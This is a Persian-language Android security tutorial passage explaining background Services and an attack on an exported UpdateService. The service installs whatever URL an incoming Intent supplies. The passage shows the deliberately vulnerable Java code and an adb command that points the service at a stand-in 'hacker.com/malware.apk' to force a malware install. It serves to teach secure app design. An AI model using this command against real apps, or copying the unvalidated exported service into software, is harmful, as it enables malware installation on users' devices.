۴. سرویسها (Services): اجرای کدهای پنهان
سرویسها دقیقا چه کارهایی انجام میدهند؟
هر کاری که نیاز به زمان طولانی دارد و نباید با بستن صفحه برنامه قطع شود، توسط سرویس انجام میشود. به طور مثال:
پخش موسیقی: وقتی آهنگ را پلی میکنید و از اپلیکیشن خارج میشوید تا با یک برنامه دیگر کار کنید، یک «سرویس» در حال پخش آهنگ است.
آپلود یا دانلود فایل: وقتی در تلگرام فایلی را میفرستید و برنامه را میبندید، سرویس در پسزمینه به آپلود ادامه میدهد.
همگامسازی (Sync): برنامههایی مثل ایمیل که هر چند دقیقه چک میکنند پیام جدید دارید یا نه.
ردیابی GPS: برنامههای تاکسی اینترنتی یا ورزشی که مسیر حرکت شما را حتی وقتی گوشی قفل است ثبت میکنند.
سناریو حمله: یک سرویس مسئول دانلود آپدیتها و نصب آنهاست. اگر مهاجم بتواند پارامتر URL را در Intent ورودی این سرویس تغییر دهد، سرویس به جای آپدیت اصلی، یک بدافزار را دانلود و اجرا میکند.
<service android:name=".UpdateService" android:exported="true" />public class UpdateService extends IntentService {
@Override
protected void onHandleIntent(Intent intent) {
/* فاجعه: گرفتن مستقیم آدرس از اینتنت بدون فیلتر کردن! */
String downloadUrl = intent.getStringExtra("URL_KEY")
/* فرض کنید اینجا متدی هست که فایل را دانلود و نصب میکند */
downloadAndInstall(downloadUrl)
}
}adb shell am startservice -n com.app.package/.UpdateService --es "URL_KEY" "https://hacker.com/malware.apk"